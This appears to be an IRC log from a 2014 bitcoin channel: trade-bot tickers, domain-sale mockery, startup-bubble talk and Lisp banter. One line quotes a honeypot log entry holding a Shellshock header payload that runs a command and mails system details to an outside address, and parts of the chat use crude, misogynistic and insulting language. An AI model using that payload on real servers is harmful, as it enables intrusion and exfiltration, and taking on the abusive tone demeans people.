BingoBoingo: ;;ud peg
    
    gribble: http://www.urbandictionary.com/define.php?term=peg | Dude 1: your such a peg, u said you didnt revise lol. by Frank MacE January 06, 2010. 377 189. Merch. 3. peg. For a woman to bugger a man with a strap-on.
    
    cazalla: it's like super rake for poker
    
    decimation: implication of peg to usd:  they have some usd to trade
    
    ben_vulpes: mircea_popescu: edulcorously?
    
    mats_cd03: sounds like a good scam
    
    ben_vulpes: <decimation> gov't pays for such 'research', most of which is pointless: http://www.sbir.gov/ << people say: "do this!" and I say "what innovation? we duct tape thinger a to tab b and make clients happy." they do not understand, and i cannot enlighten them without calling into question that which they value themselves upon.
    
    assbot: SBIR.gov
    
    asciilifeform: decimation: 'maclisp' had nothing whatsoever to do with apple.
    
    asciilifeform: decimation: mit 'project mac'
    
    decimation: ah I see.  apparently symbolics later marketed a card to install in apple stuff though
    
    asciilifeform: 'macivory'.
    
    
    
    assbot: servo-string - YouTube
    
    asciilifeform: (unrelated)
    
    decimation: heh he should put some 'vibrato' on that
    
    decimation: in other news, slightly less than everybody is going to university in the us these days: http://census.gov/newsroom/press-releases/2014/cb14-177.html
    
    assbot: College Enrollment Declines for Second Year in a Row
    
    
    
    
    
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    mircea_popescu: <decimation> in other news, slightly less than everybody is going to university in the us these days:  << bwahahaha
    
    mircea_popescu: should be "slightly more"
    
    asciilifeform: this doesn't even tough upon the very special chumpatronic clients who are admitted, to flounder about in 7+ years of too-precious-to-flunk limbo.
    
    asciilifeform: *touch upon
    
    mircea_popescu: hm
    
    pete_dushenski: was it 6 months that ver was donating millions? now, 1/1000 that. mircea_popescu was right, dood is broke: https://twitter.com/rogerkver/status/515344889807003649
    
    assbot: I just donated $1K to the Global Learning XPRIZE because governments indoctrinate more than they educate. http://t.co/nkWMXwFR3R /Indiegogo
    
    pete_dushenski: https://www.youtube.com/watch?v=orzhba2dV1A << nov 30, 2013
    
    assbot: Bitcoin: $1,000,000 Bet Final Update! - YouTube
    
    pete_dushenski: how time flies!
    
    pete_dushenski: ;;bc,stats
    
    gribble: Current Blocks: 322607 | Current Difficulty: 3.466142592397694E10 | Next Difficulty At Block: 324575 | Next Difficulty In: 1968 blocks | Next Difficulty In About: 1 week, 5 days, 7 hours, 12 minutes, and 0 seconds | Next Difficulty Estimate: 36061315489.5 | Estimated Percent Change: 4.03875
    
    assbot: [HAVELOCK] [HASH] 629 @ 0.0014 = 0.8806 BTC [-]
    
    
    
    assbot: imgur: the simple image sharer
    
    pete_dushenski: you've got derpy media writing a derpy article about a derpy politician with the absolute derpiest of ads.
    
    pete_dushenski: how does that much lulz fit in one little screen cap?
    
    pete_dushenski: the dreams beckon.
    
    BingoBoingo: !up Shakespeare
    
    kuzetsa: CVE-2014-3631, CVE-2014-6271, and CVE-2014-7169 patched, full system-wide stack smashing protection (via GCC 4.9.1 -- had to recompile every last binary package with the new GCC with the appropriate flags enabled) and a few other nice things done... yay!
    
    assbot: [MPEX] [S.MPOE] 2853 @ 0.00075417 = 2.1516 BTC [+]
    
    xmj: kuzetsa: did you secure your systems against the vuln in nss too?
    
    kuzetsa: xmj: that vulnerability is not present on my system
    
    kuzetsa: I haven't got anything using RSA in production at this time
    
    kuzetsa: well... I mean my GPG key for authing with gribble is an RSA key but other than that
    
    kuzetsa: and that isn't on the server, that's on my laptop
    
    xmj: kuzetsa: that's one way to secure your systems, "yes" would've sufficed
    
    xmj: :]
    
    xmj: kuzetsa: hopefully your RSA key uses OpenSSH
    
    kuzetsa: xmj: my PGP (GPG) key was generated using openssh, yeah
    
    xmj: what
    
    xmj: i did mean 'openssh' instead of 'nss
    
    xmj: '
    
    kuzetsa: hmm
    
    kuzetsa: I meant openssl not openssh
    
    xmj: hum how does one create pgp keys with openSSL ?
    
    kuzetsa: gpg --gen-key
    
    kuzetsa: and then when you select RSA it's done via openssl
    
    xmj: oh
    
    xmj: didn't know that one, thanks!
    
    kuzetsa: oh
    
    kuzetsa: crap
    
    kuzetsa: I just audited and apparently I made an assumption which is not true
    
    kuzetsa: gnupg uses libgcrypt for the RSA key generation :(
    
    xmj: kuzetsa: even openssL would be Bad.
    
    kuzetsa: realy? why?
    
    kuzetsa: what's wrong with using openssl to generate RSA keys?
    
    xmj: libressL or openssH? good. openssL? bad.
    
    xmj: because it's full of bugs and other otherwise legacy crap http://opensslrampage.com/
    
    kuzetsa glares at http://ww2.qfind.net/?__jsfail
    
    kuzetsa: xmj: what did yoyu just try to link me anyway?
    
    kuzetsa: it's got obfuscated redirectors and suspicious javascript in it
    
    
    
    xmj: silly hackers not buying .com .net and .org at once, i wanted .org
    
    kuzetsa: oooh
    
    kuzetsa: so it was a domain squatter using the .com when the actual site is on .org... interesting
    
    kuzetsa: I'm glad I didn't have a system policy which let that suspicious code run
    
    kuzetsa: default allow for javascript is such failsauce
    
    xmj: you mean, openssl?
    
    kuzetsa makes a funny face emoji thiner IRL :/
    
    kuzetsa: opensslrampage appears to be someone's blog who posts nothing but links to random-ass commits to the libressl repo
    
    kuzetsa: it actually looks so shitty I think it might even be an automated thing done by a rather unimaginatve bot
    
    BingoBoingo: Is that really a bad thing kuzetsa
    
    assbot: [MPEX] [S.MPOE] 41700 @ 0.00075607 = 31.5281 BTC [+] {6} 
    
    BingoBoingo: !up pollos_gringos
    
    Naphex: lol  [26/Sep/2014:00:18:37 +0300] "GET / HTTP/1.1" 200 27100 "() { :; }; uname -a  | mail -s 6775 ufquy@grandmamail.com" "curl/7.37.1" "-" script kiddies be leveling up:)
    
    xmj: nice!
    
    Naphex: for all that panic with bash not too many exploits hitting
    
    Naphex: mostly just checks
    
    Naphex: got like 10 hits, on 5 random honeypots
    
    Naphex: all web checks
    
    []bot: Bet placed: 1 BTC for No on "Bitcoin to remain at or above $400 for two months" http://bitbet.us/bet/1051/ Odds: 23(Y):77(N) by coin, 23(Y):77(N) by weight. Total bet: 6.74150004 BTC. Current weight: 95,068.
    
    assbot: [MPEX] [S.MPOE] 20400 @ 0.00075682 = 15.4391 BTC [+] {2} 
    
    assbot: [HAVELOCK] [PETA] 1423 @ 0.00058381 = 0.8308 BTC [-] {6} 
    
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    assbot: [MPEX] [S.MPOE] 39962 @ 0.00075478 = 30.1625 BTC [-] {2} 
    
    assbot: [MPEX] [S.MPOE] 6700 @ 0.00075375 = 5.0501 BTC [-]
    
    davout: hello assets
    
    assbot: [MPEX] [S.MPOE] 21500 @ 0.00075326 = 16.1951 BTC [-] {2} 
    
    dub: bonjour
    
    RagnarDanneskjol: http://bleacherreport.com/articles/2209929-buying-or-selling-every-top-10-team-as-playoff-championship-contender
    
    assbot: Buying or Selling Every Top 10 Team as Playoff Championship Contender | Bleacher Report
    
    assbot: [HAVELOCK] [RENT] 129 @ 0.0075 = 0.9675 BTC [+]
    
    assbot: [MPEX] [S.MPOE] 23000 @ 0.00075133 = 17.2806 BTC [-]
    
    
    
    assbot: THP Semifinalist: NSA Away
    
    assbot: [MPEX] [S.MPOE] 37000 @ 0.0007547 = 27.9239 BTC [+] {3} 
    
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    assbot: [MPEX] [S.MPOE] 8500 @ 0.00075367 = 6.4062 BTC [-]
    
    assbot: [MPEX] [S.MPOE] 12700 @ 0.00075133 = 9.5419 BTC [-]
    
    assbot: [HAVELOCK] [AM1] 5 @ 0.145 = 0.725 BTC [+]
    
    assbot: [MPEX] [S.MPOE] 27705 @ 0.00075053 = 20.7934 BTC [-] {2} 
    
    assbot: [MPEX] [S.MPOE] 12750 @ 0.00074867 = 9.5455 BTC [-]
    
    kakobrekla: ;;tslb
    
    gribble: Time since last block: 52 minutes and 56 seconds
    
    assbot: [MPEX] [S.MPOE] 25200 @ 0.00074864 = 18.8657 BTC [-] {2} 
    
    
    
    RagnarDanneskjol: ha
    
    punkman: look
    
    punkman: oops
    
    punkman: interesting stuff http://versu.com/about/how-versu-works/
    
    assbot: How Versu works | Versu
    
    RagnarDanneskjol: hmm
    
    assbot: [HAVELOCK] [PETA] 3257 @ 0.00060535 = 1.9716 BTC [+] {5} 
    
    
    
    assbot: Why the Power Elite Loves Equality – LewRockwell.com
    
    assbot: [MPEX] [S.MPOE] 7317 @ 0.00075242 = 5.5055 BTC [+]
    
    assbot: [HAVELOCK] [AM1] 5 @ 0.145 = 0.725 BTC [+]
    
    assbot: [MPEX] [S.MPOE] 33650 @ 0.00075228 = 25.3142 BTC [-]
    
    assbot: [HAVELOCK] [PETA] 1399 @ 0.00057 = 0.7974 BTC [-] {3} 
    
    assbot: [MPEX] [S.MPOE] 36219 @ 0.00075285 = 27.2675 BTC [+] {2} 
    
    asciilifeform: RagnarDanneskjol: 'nsa away' << very sad. reading, see kids have almost correct idea (synched write of avalanche noise to two flash cards, etc) and then see - the plaintext is eaten up and shat out of 'android' phones...
    
    RagnarDanneskjol: yes. i thought you'd appreciate the attempt
    
    assbot: [HAVELOCK] [B.MINE] 62 @ 0.01099999 = 0.682 BTC [-] {4} 
    
    assbot: [HAVELOCK] [PETA] [PAID] 2.64497240 BTC to 1`149`988 shares, 230 satoshi per share
    
    punkman: "It’s an impressive bit of work, especially in the RNG department." "This part of the build isn’t quite working yet"
    
    assbot: [HAVELOCK] [SCRYPT] [PAID] 2.19430852 BTC to 29`438 shares, 7454 satoshi per share
    
    assbot: [HAVELOCK] [B.MINE] [PAID] 1.09513638 BTC to 15`097 shares, 7254 satoshi per share
    
    assbot: [HAVELOCK] [B.SELL] [PAID] 20.33158281 BTC to 15`097 shares, 134673 satoshi per share
    
    punkman: asciilifeform: I'm looking for something like the Inform7 beast but with more Lisp. Where does one look for Lisp libraries and such?
    
    asciilifeform: punkman: 'ZIL' (not to be confused with the soviet car)
    
    asciilifeform: punkman: by infocom
    
    assbot: [MPEX] [S.MPOE] 36440 @ 0.00075178 = 27.3949 BTC [-] {3} 
    
    mircea_popescu: so how goes everything this fine morning ?
    
    
    
    assbot: Researcher shows that black holes do not exist
    
    asciilifeform: http://log.bitcoin-assets.com/?date=26-09-2014#845694 << lenat intro for those who missed
    
    assbot: Logged on 26-09-2014 03:11:57; asciilifeform: there are two versions of the lenat story
    
    mircea_popescu: i recall this black hole thing yest
    
    asciilifeform: punkman: for libraries, http://www.cliki.net
    
    assbot: CLiki: index
    
    asciilifeform: https://en.wikipedia.org/wiki/Talk:Eurisko << mega-lol
    
    assbot: Talk:Eurisko - Wikipedia, the free encyclopedia
    
    asciilifeform: mircea_popescu: think millikan's experiment is a clusterfuck? in computer 'science', folks like lenat are schoolbook-famous for experiment that not only have not but cannot be replicated with available data.
    
    mod6: %ob
    
    atcbot: 45k@282 20k@273 7k@266 | 59k@198 6k@194 12k@190
    
    mircea_popescu: im famous among a group of [girl]friends for this one trip I took one of them for at some point, that was never documented or repeated.
    
    mircea_popescu: nothing wrong with that, people allowed their own intimacy.
    
    mircea_popescu: course, it takes extra strength adolescent retardation to imagine it makes any sort of "science"
    
    asciilifeform: mircea_popescu: intimacy - sure. but this one is in encyclopaedias, and fed to n00bs as actual data that has bearing on what is possible, worth doing, worth funding, etc.
    
    mircea_popescu: but then again, the same sort of adolescent retardation is at work everywhere - what english speaker could hold his job if the artificial barriers were removed ?
    
    mircea_popescu: who, of the singers are actually singers ? what businessman knows business ? etc.
    
    mircea_popescu: the russian career criminals reportedly find the us, in spite of having the world's largest incarcerated population, doesn't even have good prisoners.
    
    asciilifeform: famously.
    
    ben_vulpes: what is a good prisoner?
    
    mircea_popescu: course if you ask them, or if you watch their movies, they're total fucking experts.
    
    asciilifeform: incidentally, it is because the prisons are run as a miniature copy of the entire empire
    
    mircea_popescu: quite.
    
    mircea_popescu: ben_vulpes hard to explain, in english.
    
    ben_vulpes: the mind boggles at the thing mircea_popescu finds difficult to explain, in any language.
    
    mircea_popescu: but if it helps, "russian career criminal" = вор
    
    mircea_popescu: which sort-of reads like dop in romanian, which is a funny little word, meaning cork.
    
    asciilifeform: i'll try.
    
    asciilifeform: the american jailbirds have defective... понятия.
    
    
    
    assbot: Logged on 12-09-2014 00:06:32; asciilifeform: mircea_popescu: 'Rinduieli' ~= (arabic) 'adat' ?
    
    mircea_popescu: asciilifeform it's deeper. they lack both the mind structures that make it necessary and possible, as well as the capacity of observation and reason that make the process unavoidable.
    
    mircea_popescu: they are, in short, retarded.
    
    xanthyos: in a privatized prison system, a "good prisoner" is one who consumes the least amount of food
    
    asciilifeform: mircea_popescu: orlov termed this 'homo sapiens lite'
    
    mircea_popescu: xanthyos a good deer is not the one that eats least.
    
    mircea_popescu: it's the one that most convincingly stotts, say.
    
    mircea_popescu: asciilifeform im not sure of the homo sapiens relation. the women are made of flesh, so in that sense it passes, but i have little clue what the males are made of.
    
    mircea_popescu: possibly mushroom meal.
    
    mircea_popescu: !up myriadgetsmehard
    
    myriadgetsmehard: haha didn't expect voice.  good morning to all!
    
    mircea_popescu: ello. who're you ?
    
    myriadgetsmehard: i am john.  i are engineer. i also came to maybe discuss some bitcoin assets of mine
    
    mircea_popescu: go right ahead, you have half an hour.
    
    ben_vulpes: the correct usage is 'r'
    
    myriadgetsmehard: i'd gpg auth but i am on me work computer
    
    ben_vulpes: :P
    
    myriadgetsmehard: so i don't know how any of you feel about bitpremier
    
    mircea_popescu: !s bitpremier
    
    assbot: 9 results for 'bitpremier' : http://search.bitcoin-assets.com/?q=bitpremier
    
    ben_vulpes: ;;ident myriadgetsmehard
    
    gribble: Nick 'myriadgetsmehard', with hostmask 'myriadgetsmehard!~bonerKILL@68-190-212-206.dhcp.gldl.ca.charter.com', is not identified.
    
    ben_vulpes: who would you auth as, myriadgetsmehard ?
    
    myriadgetsmehard: jdanks
    
    myriadgetsmehard: So the bastard at http://bitpremier.com/  won't list my BTC domains.  I'm a little pissed to be honest
    
    assbot: The Bitcoin Luxury Marketplace
    
    ben_vulpes: what does listing your btc domains mean?
    
    ben_vulpes: ah, you have domains for sale.
    
    ben_vulpes: noyrly luxury items, those.
    
    myriadgetsmehard: I am trying to sell http://btc.events  I also have a .rentals .holiday and .pub and others
    
    assbot: btc.events is almost here!
    
    assbot: [MPEX] [S.MPOE] 15650 @ 0.00075021 = 11.7408 BTC [-] {2} 
    
    ben_vulpes: "BitPremier currently lists only the following: real estate, autos (listed at $50k USD or more), jewelry and watches (listed at $5k USD or more), home goods and travel (listed at $5k USD or more), handbags and accessories (listed at $5K USD or more)"
    
    mircea_popescu: so why's he a bastard ? domains aren't worth jack.
    
    Duffer1: i thought bitpremier was a website for things that had value
    
    ben_vulpes: case closed.
    
    lobbes: ;;ticker
    
    gribble: Bitstamp BTCUSD ticker | Best bid: 402.83, Best ask: 403.99, Bid-ask spread: 1.16000, Last trade: 403.99, 24 hour volume: 9982.83562326, 24 hour low: 396.53, 24 hour high: 414.35, 24 hour vwap: 406.132999441
    
    asciilifeform: mention of 'handbag' -> spam
    
    mircea_popescu: dude that bet...
    
    myriadgetsmehard: mircea_popescu they only think .com's are valuable :/
    
    asciilifeform: almost ironclad rule.
    
    ben_vulpes: asciilifeform: "luxury" anything -> spam ?
    
    mircea_popescu: myriadgetsmehard i doubt they think even those are valuable. i definitely would think much less of any marketplace that purports to sell 2nd market domain names.
    
    myriadgetsmehard: i beg to differ. i think all these new TLDs have value.  So I am asking for $500k for http://btc.events and a few others.  BitPremier takes 5% but I'll offer the room 20% to any who can get one sold
    
    assbot: btc.events is almost here!
    
    myriadgetsmehard: It's not up to them to decide what is a premium domain or not.  I say it's up to the whole free market, which they won't let me be a part of, it's also not really free
    
    Duffer1: lmao
    
    myriadgetsmehard: maybe i needa setup a gpg contract to get these sold for a commission.
    
    ben_vulpes: myriadgetsmehard: put 'em in the OTC order book.
    
    myriadgetsmehard: laugh if you want. i'm offering $100k in BTC to whoever can sell it. wil do ben_vulpes
    
    ben_vulpes: that's the only free market with which you need concern yourself.
    
    myriadgetsmehard: :)
    
    ben_vulpes: to return to the previous topic of conversation: the incompetence of the prisoners implies incompetence of ratcatchers, non?
    
    asciilifeform: myriadgetsmehard: pray tell, what is a 'ria' ?
    
    asciilifeform: myriadgetsmehard: and why does yours get you hard
    
    mircea_popescu: <myriadgetsmehard> It's not up to them to decide what is a premium domain or not.  << because why, because it's up to you ?
    
    mircea_popescu: have a glass o' water.
    
    ben_vulpes: although i imagine the hardened russian finds the US street gang similarly incompetent.
    
    ben_vulpes: asciilifeform: what's a "dget" ?
    
    mircea_popescu: "i'm offering 100k in any currency to the salesman that sells this rock i found in the street for 500k"
    
    asciilifeform: ben_vulpes: wouldntchalovetoknow
    
    mircea_popescu: tyvm and stfu, you're offering 500k to the guy who does that, plus a little fee for allowing your pointless existence to be associated with his.
    
    mircea_popescu: ben_vulpes ratcatchers << no.
    
    myriadgetsmehard: bitcoins.com sold for how cheap?
    
    myriadgetsmehard: asciilifeform there is no ria
    
    mircea_popescu: if you were a hunter and moved to a difference cannuckistan, and all the moose you shot was the size of a chicken
    
    mircea_popescu: you would NOT suspect it's your bullets that are the problem
    
    ben_vulpes: i think it means he can stroke it to anything
    
    mircea_popescu: myriadgetsmehard "random rock i found in street" != koh-i-noor
    
    mircea_popescu: youi're doing this substitutive thinking thing wrong, it's amply discussed in the logs.
    
    ben_vulpes: mircea_popescu: but the bullets are materially different. lathed shit, perhaps.
    
    asciilifeform: ben_vulpes: we call those 'match grade' in usa
    
    mircea_popescu: they do kill it, so the bullet story ends there.
    
    myriadgetsmehard: So you don't think btc.events can make someone millions?
    
    ben_vulpes: and also they only fly at 2kph
    
    ben_vulpes: myriadgetsmehard: what is this, 90's domain bubble again?
    
    ben_vulpes: 'cause btc?
    
    asciilifeform: 'A SMURF listens to the Village for variable assignments. When a SMURF receives one, it makes the state transition and returns a list of inferences that must now hold. It is the responsibility of the Village to ensure that the inferences in the list become agreed upon by all Smurfs.'
    
    myriadgetsmehard: ben_vulpes yes
    
    asciilifeform: (actual u.s. nsa patent. https://www.google.com/patents/US7380224 )
    
    assbot: Patent US7380224 - Method and system for non-linear state based satisfiability - Google Patents
    
    ben_vulpes: that's nonsensical.
    
    myriadgetsmehard: new gTLDs are the shit man.  too many new domains (.com seekers) are shit imo
    
    chetty: sadly enough some vc funded tard might it, don{t mean it will actually make money/have value
    
    chetty: */might buy it
    
    ben_vulpes: <myriadgetsmehard> new gTLDs are shit << ftfy
    
    myriadgetsmehard: ben you are acting like the dinosaurs i get enough shit from man :)
    
    ben_vulpes: !down myriadgetsmehard
    
    ben_vulpes: add value or gtfo.
    
    ben_vulpes: order book is over there. place orders and quit derping.
    
    asciilifeform: https://www.google.com/search?tbm=pts&hl=en&q=national+security+agency << mega-lol-mine
    
    assbot: national security agency - Google Search
    
    
    
    asciilifeform: patent US8414314 B1, 'Single-use USB port protector.' carry on, wunderwaffen, for victory.
    
    mircea_popescu: lma
    
    
    
    assbot: Patent USD637658 - Game board - Google Patents
    
    mats_cd03: 13:00:59 <+myriadgetsmehard> i beg to differ. i think all these new TLDs have value.  So I am asking for $500k for http://btc.events and a few others.  BitPremier takes 5% but I'll offer the room 20% to any who can get one sold
    
    assbot: btc.events is almost here!
    
    mats_cd03: 13:01:49 <+myriadgetsmehard> It's not up to them to decide what is a premium domain or not.  I say it's up to the whole free market, which they won't let me be a part of, it's also not really free
    
    mats_cd03: the nerve of some people
    
    punkman: http://dealbook.nytimes.com/2014/09/25/marc-andreessen-sounds-warning-on-start-ups-burning-cash/
    
    punkman: yeah not like he's giving them piles of cash
    
    xmj: ...
    
    mats_cd03: the HN comments are worrying
    
    mats_cd03: some dummies with the 'oh its been goin on for a while now, nbd' ...
    
    ben_vulpes: 'this time is different'
    
    xmj: thing is
    
    xmj: what ben says
    
    xmj: as soon as people start saying This Time Is Different
    
    xmj: and start rationalizing/hamstering WHY
    
    mats_cd03: and then there's this, "I do agree valuations are artificially inflated, but before you start drawing parallels to 1999 and every financial bubble of years past remember there are companies with real revenue streams. Sure, there are the snapchat valuations which have no basis, but do uber, airbnb, dropbox, and the like not deserve billion dollar valuations?"
    
    asciilifeform: hamstering !?
    
    mats_cd03 facepalms
    
    xmj: then its gonna be daaaaaaangerous not to be in a cashflow positive business
    
    asciilifeform: as in, in arse ?
    
    ben_vulpes: "arse hamster machine"
    
    xmj: asciilifeform: hamstering as in rationalization hamster that runs in his wheel
    
    asciilifeform: lol
    
    xmj: ben_vulpes: go explain asciilifeform about that one please
    
    asciilifeform though something slightly different
    
    xmj: I DON'T WANNA.
    
    mats_cd03: "hamstering" is not something that has evar been a thing
    
    punkman: what is a rationalization hamster?
    
    ben_vulpes: no thanks. it's retarded pua shit.
    
    mats_cd03: you can't go and just coin your own things, man!
    
    asciilifeform pictured the inquisitorial, then nazi, arse-rat-system
    
    xmj: dont remember who coined it
    
    xmj: asciilifeform: just 'cuz i'm german.
    
    kakobrekla: mats_cd03 at this point you can coin your own coin.
    
    
    
    assbot: Logged on 17-02-2014 19:11:41; asciilifeform: here, author is almost certainly satisfying his own desires: http://actualhistory.ru/app/var/pub/files/86/41776_image_large.jpg
    
    mats_cd03: anyway -- 'uber, airbnb' being companies that deserve bn USD valuations... apparently middle-men with no moats are incredibly valuable nao
    
    asciilifeform: 'rectomurine cryptoanalysis.'
    
    ben_vulpes: i can see that backfiring, asciilifeform
    
    asciilifeform: ben_vulpes: ?
    
    ben_vulpes: what about the guy who's into that sort of wriggling around?
    
    ben_vulpes: (also, bad puns on the rear end)
    
    asciilifeform: ben_vulpes: is he also 'into' the rat emerging from other side?
    
    asciilifeform: idea is, he tunnels through.
    
    xmj: ahahaha
    
    ben_vulpes: bleaugh
    
    xmj: the idea of having a rat tunnel through on the rear end.. sounds BAD.
    
    kakobrekla: theres another story where they just put the rat on your belly and cover it so it cant escape. what happens is an exercise to the alert reader.
    
    mats_cd03: is that soviet in origin asciilifeform? i noticed the idea first, in cult phenomenon Game of Thrones
    
    asciilifeform: mats_cd03: at least 1000 years old.
    
    mats_cd03: makes sense. what am i thinking.
    
    ben_vulpes: 'abdominomurine etc'
    
    mircea_popescu: <ben_vulpes> 'this time is different' << win.
    
    mircea_popescu: <mats_cd03> but do uber, airbnb, dropbox, and the like not deserve billion dollar valuations?" <<< i agree that other people's shit stinks but isn't my doodoo all perfumed ?!
    
    ben_vulpes: this consulting short isn't really that great of a short actually
    
    mircea_popescu: <punkman> what is a rationalization hamster? << supposedly what women do when they've been rejected by a magical boy of magic, they go in a corner and worry and obsessively rethink the experience.
    
    mircea_popescu: this is fundamentally different from what the boy in question does, on forums and while commuting.
    
    penguirker: New blog post: https://www.bcoinnews.com/bfl-ftc/
    
    mircea_popescu: the whole charade's a sort of "fine when we do it, evil/bad/wrong when they do it"  thing.
    
    mircea_popescu: and i mean both for VCs and for PUAs, and come to think about it the difference is negligible.
    
    ben_vulpes: sure, it guarantees cash in pocket instead of worthless paper when the music stops, but all i'm left with when the music stops is a company that makes software in competition with all the other shartup engineers.
    
    ben_vulpes: and maybe some cash.
    
    ben_vulpes: supply, demand...
    
    ben_vulpes: <mircea_popescu> this is fundamentally different from what the boy in question does, on forums and while commuting. << pah yup
    
    mircea_popescu: ben_vulpes> sure, it guarantees << duh.
    
    ben_vulpes: nothing is guaranteed, okay fine.
    
    mircea_popescu: the difference between the shorts we want our shorts to be and the shorts our shorts actually are is the one thing that sinks businesses.
    
    mircea_popescu: the ONLY one thing.
    
    ben_vulpes: the only leg i can see hedging are btc holdings
    
    assbot: [HAVELOCK] [PETA] 1034 @ 0.00055513 = 0.574 BTC [-] {6} 
    
    
    
    assbot: Security Collapse in the HTTPS Market - ACM Queue
    
    mats_cd03: via /.
    
    
    
    assbot: Shellshock DHCP RCE Proof of Concept -
    
    assbot: [HAVELOCK] [PETA] 1850 @ 0.00054508 = 1.0084 BTC [-] {6} 
    
    asciilifeform: ben_vulpes: lol!
    
    ben_vulpes: reel reel reel reel bad
    
    asciilifeform: the mice, the mice.
    
    mircea_popescu: o look. it's not that mpex didn't get hacked
    
    mircea_popescu: it's that EVERYONE ELSE DID
    
    penguirker: New blog post: http://trilema.com/2014/a-putea-putere/
    
    mircea_popescu: i suppose every single entity in online finance, from paypal to icbc will now come and leave a comment on trilema saying "sorry, we're fucking stupid, you're right"
    
    mircea_popescu: because the world is fair and people rational.
    
    mircea_popescu: not like they'll cary on derping about "ux" and how their shit is worth not just money, but billions of it.
    
    mircea_popescu: a well.
    
    asciilifeform: mircea_popescu: putere << it all works fine in ru.
    
    asciilifeform: mircea_popescu: try it.
    
    mircea_popescu: asciilifeform yeah.
    
    
    
    assbot: Logged on 08-12-2013 16:40:53; mircea_popescu: and the same princuople goes to the "devteam" retards implememnting pki
    
    mircea_popescu: i seriously expect the entire world to now bow down to my superiority and explicitly recognise its inferiority, as a wholy owned, substantive characteristic of their own.
    
    mircea_popescu: none of this "but mp, you never gave any proof". there's your motherfuc king proof now stfu and shine my boots.
    
    mircea_popescu: asciilifeform this whole fiasco reminds me of naggum's discussion of the y2k thing.
    
    asciilifeform: mircea_popescu: precisely it
    
    
    
    assbot: Re: Is LISP dying? - Naggum cll archive
    
    mircea_popescu: the one thing all those idiots will never say is exactly the only thing they should be saying at all : this other guy didn't do it, he is our king, our lord, our sovereign, and so much better than we may even aspire to one day be.
    
    
    
    assbot: COG Site
    
    ben_vulpes: what is a bitcoin application?
    
    assbot: [HAVELOCK] [HASH] 750 @ 0.00169999 = 1.275 BTC [+] {3} 
    
    mats_cd03: its social good through financial freedom, man.
    
    ben_vulpes: financial freedom is the only social good
    
    asciilifeform: 'another way to look at this is to see that software in today's society has a number of diseased elements, to consider that maggots eat only diseased or dead tissue, that dead or dying software projects lie around all over the place, like a horrible war zone between ignorant users and frightened managers, and pretend that you're a maggot.  you wouldn't care about the living and the healthy who prosper outside th
    
    asciilifeform: e war zone, you'd rush to the war zone to join the feeding frenzy, right?  so, to complete the grim picture, software in our society is diseased, the activity you read about are all about cleaning up the disasters and surviving the equivalent of plagues, and it just takes a tremendous amount of people and work to keep the whole system from dying, like the incredibly stupid year-2000 problem.'
    
    asciilifeform: 'to take but one simple example: suppose you thought of the new millennium when you wrote your application back in 1972 -- not only wouldn't you be invited to the party, those who knew you had done it right from the start and who probably laughed at you at the time would positively hate you now, and they sure as hell wouldn't tell people about you.  and the more stupid they are, the more important it would be to
    
    asciilifeform: pretend that nobody was smart enough to see the next millennium coming.'
    
    asciilifeform: (herr naggum)
    
    thestringpuller: RIP Naggum
    
    thestringpuller: His story is as tragic as a jazz musician.
    
    mats_cd03: i thought the eulogy was beautifully written
    
    mircea_popescu: like a horrible war zone between ignorant users and frightened managers << the exact fucking problem.
    
    mats_cd03: if not terrible. almost as though she read "Speaker of the Dead", and thought, "ill do that, but better."
    
    mircea_popescu: a frightened manager is about as useful as a punctured set of wellington boots.
    
    mircea_popescu: mats_cd03 naggum's ? yes, formaly it's great.
    
    mircea_popescu: substantively i find it offensive.
    
    
    
    kakobrekla: we will be millionaires!
    
    mircea_popescu: lol
    
    chetty: http://www.abc15.com/news/region-phoenix-metro/central-phoenix/fired-ups-worker-accused-of-stealing-160k-diamond-trading-it-for-20-worth-of-marijuana
    
    assbot: Fired UPS worker Walter Earl Morrison accused of stealing $160K diamond, trading it for marijuana - ABC15 Arizona
    
    asciilifeform: chetty: lol, they actually sent such a thing via commercial parcel co. instead of courier ?
    
    mats_cd03: i wonder how easy it is to fence diamonds
    
    mats_cd03: i suspect it is not really that valuable
    
    mats_cd03: http://www.cnbc.com/id/102033875 >> USSOCOM plugs bitcoin foundation...
    
    mats_cd03: "The bitcoin community doesn't necessarily endorse U.S. foreign policy, and the bitcoin community doesn't necessarily endorse everything the U.S. intelligence community does." But, he said, "things that are morally wrong, bitcoin rejects." ...
    
    thestringpuller: Bitcoin Foundatoin shouldn't be in the US
    
    thestringpuller: There shouldn't be a Bitcoin Foundation at all.
    
    thestringpuller: !s web of trust database
    
    assbot: 0 results for 'web of trust database' : http://search.bitcoin-assets.com/?q=web+of+trust+database
    
    thestringpuller: !s wot database
    
    assbot: 1 results for 'wot database' : http://search.bitcoin-assets.com/?q=wot+database
    
    thestringpuller: http://log.bitcoin-assets.com/?date=11-08-2014#789979 << for back reference
    
    assbot: Logged on 11-08-2014 04:12:46; Jason: http://cahier2.ww7.be/bitcoinmirror/otc/today/
    
    assbot: [MPEX] [S.MPOE] 18755 @ 0.000753 = 14.1225 BTC [+]
    
    penguirker: New blog post: http://trilema.com/2014/today-is-the-international-day-of-remembering-how-mircea-popescu-is-better-than-me-and-related-observances/
    
    mircea_popescu: pete_dushenski: how does that much lulz fit in one little screen cap?<< guy kinda looks like a walrus
    
    mircea_popescu: kuzetsa: I just audited and apparently I made an assumption which is not true << ahem.
    
    thestringpuller: yay! how do I celebrate?
    
    mircea_popescu: Naphex: for all that panic with bash not too many exploits hitting << the good stuff happebed prior to the release.
    
    mircea_popescu: thestringpuller bake cookies ?
    
    thestringpuller: already done
    
    asciilifeform: mircea_popescu: today-is-the << great 'muhahahaha!' piece.
    
    thestringpuller: i love having 18900 trilema credits
    
    mircea_popescu: asciilifeform gotta do things to the fullest i say
    
    mircea_popescu: i can almost imagine some guy in say 2035 having to interact with that.
    
    thestringpuller: this article is the best thing ever
    
    asciilifeform: mircea_popescu: the unsettling discovery is that mass-derp can continue far longer than the example under consideration. e.g., 'crypto ag' still exists, multi-$b, 'unknown' ownership, and... multi-decade loyal customers.
    
    asciilifeform: there is a particular species of chumpatronium, what one might call a chumpassal (chump, vassal)
    
    asciilifeform: who demonstrates subservience by volunteering to wear the collar.
    
    mircea_popescu: hm ?
    
    asciilifeform: i think this even came up here once. u.s. corps deliberately closing eyes to back orifices of all kinds, to avoid the red tape of subpoenas
    
    asciilifeform: quite like the u.s. demand that eu 'galileo' sat. constellation have a u.s.-owned remote 'off' switch - 'or we'll have to shoot'
    
    asciilifeform: (^ what happened to that? i've no idea, ask them)
    
    mircea_popescu: not that it changes anything really.
    
